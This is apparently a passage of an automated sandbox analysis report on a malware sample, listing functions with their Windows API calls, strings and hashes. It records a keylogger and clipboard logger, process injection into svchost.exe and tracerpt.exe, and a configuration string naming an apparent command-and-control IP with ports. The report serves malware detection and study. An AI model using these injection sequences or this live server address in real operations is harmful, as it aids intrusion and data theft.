Opcode Fuzzy Hash: f38f42fe1f0ead332c1deb9bbca8a75af6736b2eebb966bb8e239eed16e049e0
Instruction Fuzzy Hash: DCE012B4984206BFEB109B54ECC9F7637ACE7183307108A25BD14C23D0D635DCA4CA60

Function 02D0F983 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02D0F98F

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

Part of subcall function 02D0F964: __getptd_noexit.LIBCMT ref: 02D0F969
Part of subcall function 02D0F964: __freeptd.LIBCMT ref: 02D0F973
Part of subcall function 02D0F964: ExitThread.KERNEL32 ref: 02D0F97C

__XcptFilter.LIBCMT ref: 02D0F9B0

Part of subcall function 02D1418F: __getptd_noexit.LIBCMT ref: 02D14195

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: bc92f432496d7395d4d40f823eab2a640c98717188a1e750851860b8cf5cda37
Instruction ID: 61bb4ae00496d0648d42346b1965fca789a62f06b1abe7da2988940f270b86eb
Opcode Fuzzy Hash: bc92f432496d7395d4d40f823eab2a640c98717188a1e750851860b8cf5cda37
Instruction Fuzzy Hash: 2DE0B6B5940701BFEB18EBA0E845E7D776AEF44B01F204188E1026B7A0CA759D449E20

Function 00977175 Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00977181

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

Part of subcall function 00977156: __getptd_noexit.LIBCMT ref: 0097715B
Part of subcall function 00977156: __freeptd.LIBCMT ref: 00977165
Part of subcall function 00977156: ExitThread.KERNEL32 ref: 0097716E

__XcptFilter.LIBCMT ref: 009771A2

Part of subcall function 00979C41: __getptd_noexit.LIBCMT ref: 00979C47

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd_noexit$ExitFilterThreadXcpt__amsg_exit__freeptd__getptd
String ID:
API String ID: 418257734-0
Opcode ID: fe81fca151e2e763f47355e786c42bf30913c8938eadaf5b48f48e0a83a306ca
Instruction ID: b5deae4bc2d81c6f2fdb63454dfc6b65e92b713507cee52c465f0cac38fc3b8b
Opcode Fuzzy Hash: fe81fca151e2e763f47355e786c42bf30913c8938eadaf5b48f48e0a83a306ca
Instruction Fuzzy Hash: D3E0ECB29046049FEB18FBA0C946F6D7B75EF84705F208048F1165B2B2DA759940DB24

Function 02D16403 Relevance: 3.0, APIs: 2, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 02D1641B

Part of subcall function 02D18E5B: __mtinitlocknum.LIBCMT ref: 02D18E71
Part of subcall function 02D18E5B: __amsg_exit.LIBCMT ref: 02D18E7D
Part of subcall function 02D18E5B: EnterCriticalSection.KERNEL32(00000000,00000000,?,02D13F06,0000000D,02D26340,00000008,02D13FFF,00000000,?,02D110F0,00000000,02D26278,00000008,02D11155,?), ref: 02D18E85

__tzset_nolock.LIBCMT ref: 02D1642C

Part of subcall function 02D15D22: __lock.LIBCMT ref: 02D15D44
Part of subcall function 02D15D22: ____lc_codepage_func.LIBCMT ref: 02D15D8B
Part of subcall function 02D15D22: __getenv_helper_nolock.LIBCMT ref: 02D15DAD
Part of subcall function 02D15D22: _free.LIBCMT ref: 02D15DE4
Part of subcall function 02D15D22: _strlen.LIBCMT ref: 02D15DEB
Part of subcall function 02D15D22: __malloc_crt.LIBCMT ref: 02D15DF2
Part of subcall function 02D15D22: _strlen.LIBCMT ref: 02D15E08
Part of subcall function 02D15D22: _strcpy_s.LIBCMT ref: 02D15E16
Part of subcall function 02D15D22: __invoke_watson.LIBCMT ref: 02D15E2B
Part of subcall function 02D15D22: _free.LIBCMT ref: 02D15E3A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __lock_free_strlen$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__invoke_watson__malloc_crt__mtinitlocknum__tzset_nolock_strcpy_s
String ID:
API String ID: 1828324828-0
Opcode ID: 9737f7dbaa0b32071bcf3373546b01f0b7fcb8855630a5ab9e26cc6163751bc8
Instruction ID: 826427d194745f661d6c6421d7cd89b9a7016c3a1d4652026ea22358863f7b85
Opcode Fuzzy Hash: 9737f7dbaa0b32071bcf3373546b01f0b7fcb8855630a5ab9e26cc6163751bc8
Instruction Fuzzy Hash: 1BE0EC75CC5728F7D622ABE0B60261CB365EB94F22F504519E09012F89CA704D51DEB2

Function 0097474C Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 12stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(|p1:8.217.85.20|o1:9091|t1:1|p2:8.217.85.20|o2:9092|t2:1|p3:8.217.85.20|o3:9093|t3:1|dd:1|cl:1|fz:), ref: 00974755

Part of subcall function 00973260: __wcsrev.LIBCMT ref: 00990655

Strings

|p1:8.217.85.20|o1:9091|t1:1|p2:8.217.85.20|o2:9092|t2:1|p3:8.217.85.20|o3:9093|t3:1|dd:1|cl:1|fz:, xrefs: 00974750

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __wcsrevlstrlen
String ID: |p1:8.217.85.20|o1:9091|t1:1|p2:8.217.85.20|o2:9092|t2:1|p3:8.217.85.20|o3:9093|t3:1|dd:1|cl:1|fz:
API String ID: 4062721203-3341059043
Opcode ID: 33608de47a95b539af32dcd2e40bd5fa4ee1e16261ff02d472b19657d6a6c207
Instruction ID: 0495fac52b4950a5b1976484ec7556489293eaea825c7128b2fb9efe85a119dd
Opcode Fuzzy Hash: 33608de47a95b539af32dcd2e40bd5fa4ee1e16261ff02d472b19657d6a6c207
Instruction Fuzzy Hash: CCC08CB2248208CFEA003BD89408B2C3324EBB3B15F20C432F618C6642D9558C10F3B3

Function 0097608A Relevance: 1.5, APIs: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32 ref: 009760A0

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 3090f025b9aabfcabd9902f0d0db14deab5623b230e306175c74f0a697886e75
Instruction ID: d06f2ae5ee441295bf6539250b8306a724c386d3c385025954006f765e64b582
Opcode Fuzzy Hash: 3090f025b9aabfcabd9902f0d0db14deab5623b230e306175c74f0a697886e75
Instruction Fuzzy Hash: 9AE09278918609EBDB14EF40D594BFD77B57B50304F30A555D00A6B294D37C2B08AB91

Function 00975E07 Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32 ref: 0098F0F9

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction ID: 94a50d4412003edb3e3fd3c2fe5a1f12d39b74b855576bea46f7b17f455e1d91
Opcode Fuzzy Hash: bc9ecc6ca19783af6d6fbb40ca28845bcba02b8ce6e2273daa9cad6eb9c5806e
Instruction Fuzzy Hash: C1C08C22D4C75CE681207C545C29278B6E88704351F30ACB3A85B216C0A0AC2A9077EA

Function 009760DF Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0098FAB1

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 9ee74ed0d87e6276e1aa8bea54370134bcebf134dcb2eb5a3c57addd33e9fce8
Instruction ID: 6b0d82995a5df9c66f0251d636cebcf0f4be938373527d9ff371ef732ecc6763
Opcode Fuzzy Hash: 9ee74ed0d87e6276e1aa8bea54370134bcebf134dcb2eb5a3c57addd33e9fce8
Instruction Fuzzy Hash: 4FD012B4208A00CBD310FB64C494B1AB7E1FF98300F30E926E52EC2B11D638EC819B62

Function 00974274 Relevance: 1.5, APIs: 1, Instructions: 11threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00006110,00000000), ref: 00990693

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 3fa89fc6d0b42315ccb965a31c74b2310d50cb1984d25eec03202f9d5cfec02e
Instruction ID: b0b01e29636aeb0d6ee29e818148eeea0e03f878375e773198209f0fde546046
Opcode Fuzzy Hash: 3fa89fc6d0b42315ccb965a31c74b2310d50cb1984d25eec03202f9d5cfec02e
Instruction Fuzzy Hash: E3C04C2529C610EDEA2425442C16F3415003785B25E709F22323B5D5D3459800907653

Function 0098F63D Relevance: 1.5, APIs: 1, Instructions: 3networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0098F63D

Memory Dump Source

Source File: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 6c06f1915b4af039f1cbf6bcf6cfe0f6da3e4c1d70715700e8d522aedc9a383c
Instruction ID: e1804973a2748aa62f9445e48b8a9cbe4fb50affcf08ca5d37c102e9f37d73cd
Opcode Fuzzy Hash: 6c06f1915b4af039f1cbf6bcf6cfe0f6da3e4c1d70715700e8d522aedc9a383c
Instruction Fuzzy Hash: 3490023829C501AA96001A21685C7552654550474135568245413C0210D614D2847718

Function 00975EB2 Relevance: 1.3, APIs: 1, Instructions: 15sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00975EB2

Part of subcall function 00976F17: _malloc.LIBCMT ref: 00976F31

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Sleep_malloc
String ID:
API String ID: 617756273-0
Opcode ID: 1e60fa0ead2efce0cce12b9888f1c0e66c31a0e6e3cd007e8dd1195499ed25d5
Instruction ID: 52a85034852577dec3b93a35eba0df904de85c32791238f1e83172e2a492aa30
Opcode Fuzzy Hash: 1e60fa0ead2efce0cce12b9888f1c0e66c31a0e6e3cd007e8dd1195499ed25d5
Instruction Fuzzy Hash: CFD022B3E082028FFBA03EA048E803E60612B80340F758A39D20F92300D66D0D08A3C3

Non-executed Functions

Function 02D0E850 Relevance: 72.1, APIs: 36, Strings: 5, Instructions: 311stringfilesynchronizationCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0E8A9
Sleep.KERNEL32(00000001,?,?,?,02D0604D), ref: 02D0E8B3
GetTickCount.KERNEL32 ref: 02D0E8BF
GetTickCount.KERNEL32 ref: 02D0E8D2
InterlockedExchange.KERNEL32(02D31F08,00000000), ref: 02D0E8DA
OpenClipboard.USER32(00000000), ref: 02D0E8E2
GetClipboardData.USER32(0000000D), ref: 02D0E8EA
GlobalSize.KERNEL32(00000000), ref: 02D0E8FB
GlobalLock.KERNEL32(00000000), ref: 02D0E90C
wsprintfW.USER32 ref: 02D0E985
_memset.LIBCMT ref: 02D0E9A3
GlobalUnlock.KERNEL32(00000000), ref: 02D0E9AC
CloseClipboard.USER32 ref: 02D0E9B2
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0E9CA
CreateFileW.KERNEL32(02D30D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 02D0E9E4
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 02D0EA02
lstrlenW.KERNEL32(02D25B48,?,00000000), ref: 02D0EA16
WriteFile.KERNEL32(00000000,02D25B48,00000000), ref: 02D0EA25
CloseHandle.KERNEL32(00000000), ref: 02D0EA2C
ReleaseMutex.KERNEL32(00000000), ref: 02D0EA38
GetKeyState.USER32(00000014), ref: 02D0EABC
lstrlenW.KERNEL32(02D2B4A8), ref: 02D0EB0B
wsprintfW.USER32 ref: 02D0EB1D
lstrlenW.KERNEL32(02D2B4D0), ref: 02D0EB3E
lstrlenW.KERNEL32(02D2B4D0), ref: 02D0EB61
wsprintfW.USER32 ref: 02D0EB7F
wsprintfW.USER32 ref: 02D0EB95
wsprintfW.USER32 ref: 02D0EBBF
lstrlenW.KERNEL32(00000000), ref: 02D0EC0B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D0EC21
CreateFileW.KERNEL32(02D30D80,40000000,00000002,00000000,00000004,00000002,00000000), ref: 02D0EC3B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 02D0EC59
lstrlenW.KERNEL32(00000000,?,00000000), ref: 02D0EC69
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 02D0EC74
CloseHandle.KERNEL32(00000000), ref: 02D0EC7B
ReleaseMutex.KERNEL32(00000000), ref: 02D0EC88

Strings

%s%s, xrefs: 02D0EB8F
[esc], xrefs: 02D0EB4E, 02D0EB77, 02D0EB8D, 02D0EBB7
%s%s, xrefs: 02D0EB17, 02D0EB79
[, xrefs: 02D0E97F
%s%s, xrefs: 02D0EBB9

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Filelstrlen$wsprintf$ClipboardCloseGlobal$CountCreateHandleMutexObjectPointerReleaseSingleTickWaitWrite_memset$DataExchangeInterlockedLockOpenSizeSleepStateUnlock
String ID: [$%s%s$%s%s$%s%s$[esc]
API String ID: 1637302245-2373594894
Opcode ID: 30f0df2bd2c68bd68afecdc9d9465d4799a7f704d9b627eff69495fb5632e420
Instruction ID: f7caa04d9d4bc8211eda1e4568867995c2c248b482b36d751fd76873612b5645
Opcode Fuzzy Hash: 30f0df2bd2c68bd68afecdc9d9465d4799a7f704d9b627eff69495fb5632e420
Instruction Fuzzy Hash: 5CC1CC70980301ABE3348F64ED89FAA77A4BB28704F444A59F64AD23D0D7B09D99CF60

Function 02D077E0 Relevance: 68.5, APIs: 30, Strings: 9, Instructions: 240libraryloaderinjectionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D07804
_memset.LIBCMT ref: 02D07850
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 02D07864

Part of subcall function 02D08720: _vswprintf_s.LIBCMT ref: 02D08731

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D07893
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000214,00000000,00000000,00000044,?), ref: 02D078DA

Part of subcall function 02D07740: GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,?,02D078FC), ref: 02D07756
Part of subcall function 02D07740: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,02D078FC,?,?,?,?,?,?,76F90630), ref: 02D0775D

OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D0790A
_memset.LIBCMT ref: 02D07923
LoadLibraryA.KERNEL32(Kernel32.dll,OpenProcess,?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D0793B
GetProcAddress.KERNEL32(00000000), ref: 02D07944
LoadLibraryA.KERNEL32(Kernel32.dll,ExitProcess,?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D07956
GetProcAddress.KERNEL32(00000000), ref: 02D07959
LoadLibraryA.KERNEL32(Kernel32.dll,WinExec,?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D0796B
GetProcAddress.KERNEL32(00000000), ref: 02D0796E
LoadLibraryA.KERNEL32(Kernel32.dll,WaitForSingleObject,?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D07980
GetProcAddress.KERNEL32(00000000), ref: 02D07983
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D0798B
GetProcessId.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,76F90630,?,76F90F00), ref: 02D07992
_memset.LIBCMT ref: 02D079B4
GetModuleFileNameA.KERNEL32(00000000,?,000000FA,?,?,?,?,?,?,?,?,?,?,?,?,76F90630), ref: 02D079CA
VirtualAllocEx.KERNEL32(00000000,00000000,00000118,00003000,00000040), ref: 02D079FF
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000118,00000000), ref: 02D07A1B
VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000001,?), ref: 02D07A43
VirtualAllocEx.KERNEL32(00000000,00000000,00001000,00003000,00000040), ref: 02D07A58
WriteProcessMemory.KERNEL32(00000000,00000000,02D076F0,00001000,00000000), ref: 02D07A72
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000001,00000000), ref: 02D07A90
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 02D07AA1
Sleep.KERNEL32(0000EA60,?,?,?,?,?,?,?,?,?,?,?,?,?,?,76F90630), ref: 02D07ABA
VirtualProtectEx.KERNEL32(00000000,00000000,00000118,00000040,00000000), ref: 02D07AD6
VirtualProtectEx.KERNEL32(00000000,00000000,00001000,00000040,00000000), ref: 02D07AE8
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,76F90630), ref: 02D07AF1

Strings

Windows\System32\svchost.exe, xrefs: 02D078A4
Windows\SysWOW64\svchost.exe, xrefs: 02D07870
%s%s, xrefs: 02D07876, 02D078AA
WinExec, xrefs: 02D0795B
OpenProcess, xrefs: 02D07931
WaitForSingleObject, xrefs: 02D07970
Kernel32.dll, xrefs: 02D07936, 02D0794B, 02D07960, 02D07975
D, xrefs: 02D07840
ExitProcess, xrefs: 02D07946

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process$Virtual$AddressLibraryLoadProcProtect_memset$AllocCreateCurrentFileMemoryOpenThreadWrite$AttributesDirectoryModuleNameRemoteResumeSleepSystemToken_vswprintf_s
String ID: %s%s$D$ExitProcess$Kernel32.dll$OpenProcess$WaitForSingleObject$WinExec$Windows\SysWOW64\svchost.exe$Windows\System32\svchost.exe
API String ID: 4176418925-3213446972
Opcode ID: 8980f0e15cc21d0bd90809b4a47178393b613d9c9a1bc4906aa5b191d5371b18
Instruction ID: 8a71c41fd3618724c2e60b68b12cf358c274cecc2014a546b9d9b69ffda3af00
Opcode Fuzzy Hash: 8980f0e15cc21d0bd90809b4a47178393b613d9c9a1bc4906aa5b191d5371b18
Instruction Fuzzy Hash: 3C81A671A803587BF7359B619C49FEA777CEFA5B05F400498F609A62C0DBB06E48CE64

Function 00975820 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 135threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00975849
_memset.LIBCMT ref: 00975868
_memset.LIBCMT ref: 0097589D
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 009758B1

Part of subcall function 009759E0: _vswprintf_s.LIBCMT ref: 009759F1

GetFileAttributesA.KERNEL32(?), ref: 009758E0
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 00975928
VirtualAllocEx.KERNEL32(?,00000000,000311BF,00003000,00000040,76F90630), ref: 0097594E
WriteProcessMemory.KERNEL32(?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,76F90630), ref: 00975968
GetThreadContext.KERNEL32(?,?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,76F90630), ref: 00975987
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,76F90630), ref: 009759A2
ResumeThread.KERNEL32(?,?,00000000,?,000311BF,00000000,?,00000000,000311BF,00003000,00000040,76F90630), ref: 009759C1

Strings

D, xrefs: 0097587C
Windows\SysWOW64\tracerpt.exe, xrefs: 009758BD
Windows\System32\tracerpt.exe, xrefs: 009758EB
%s%s, xrefs: 009758C3, 009758F7

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Thread_memset$ContextProcess$AllocAttributesCreateDirectoryFileMemoryResumeSystemVirtualWrite_vswprintf_s
String ID: %s%s$D$Windows\SysWOW64\tracerpt.exe$Windows\System32\tracerpt.exe
API String ID: 2170139861-1986163084
Opcode ID: 370edd453b68f6e657681f10ddebb8b4f91e0f0832536053f05e1f304f2efe82
Instruction ID: fe907e5959eaf165d8bca0be2fe64e8c2570b6e48db6a5e6e819c235c9b44b46
Opcode Fuzzy Hash: 370edd453b68f6e657681f10ddebb8b4f91e0f0832536053f05e1f304f2efe82
Instruction Fuzzy Hash: 0A41C7B1A14708AFD720DF70DC85FAA77B8EF44B00F50859CB64DA7280DBB09E848B55

Function 02D07E50 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 131threadinjectionprocessCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D07E73
_memset.LIBCMT ref: 02D07E9F
_memset.LIBCMT ref: 02D07ED4
GetSystemDirectoryA.KERNEL32(?,000000FF), ref: 02D07EE8

Part of subcall function 02D08720: _vswprintf_s.LIBCMT ref: 02D08731

GetFileAttributesA.KERNEL32(?), ref: 02D07F15
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 02D07F65
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 02D07F92
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00003000,00000040), ref: 02D07FAA
GetThreadContext.KERNEL32(?,?,?,00000000,?,00003000,00000040), ref: 02D07FCC
SetThreadContext.KERNEL32(?,00010007,?,00000000,?,00003000,00000040), ref: 02D07FEA
ResumeThread.KERNEL32(?,?,00000000,?,00003000,00000040), ref: 02D07FFF

Strings

Windows\System32\svchost.exe, xrefs: 02D07F26
Windows\SysWOW64\svchost.exe, xrefs: 02D07EEE
D, xrefs: 02D07EB3
%s%s, xrefs: 02D07EFA, 02D07F2C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

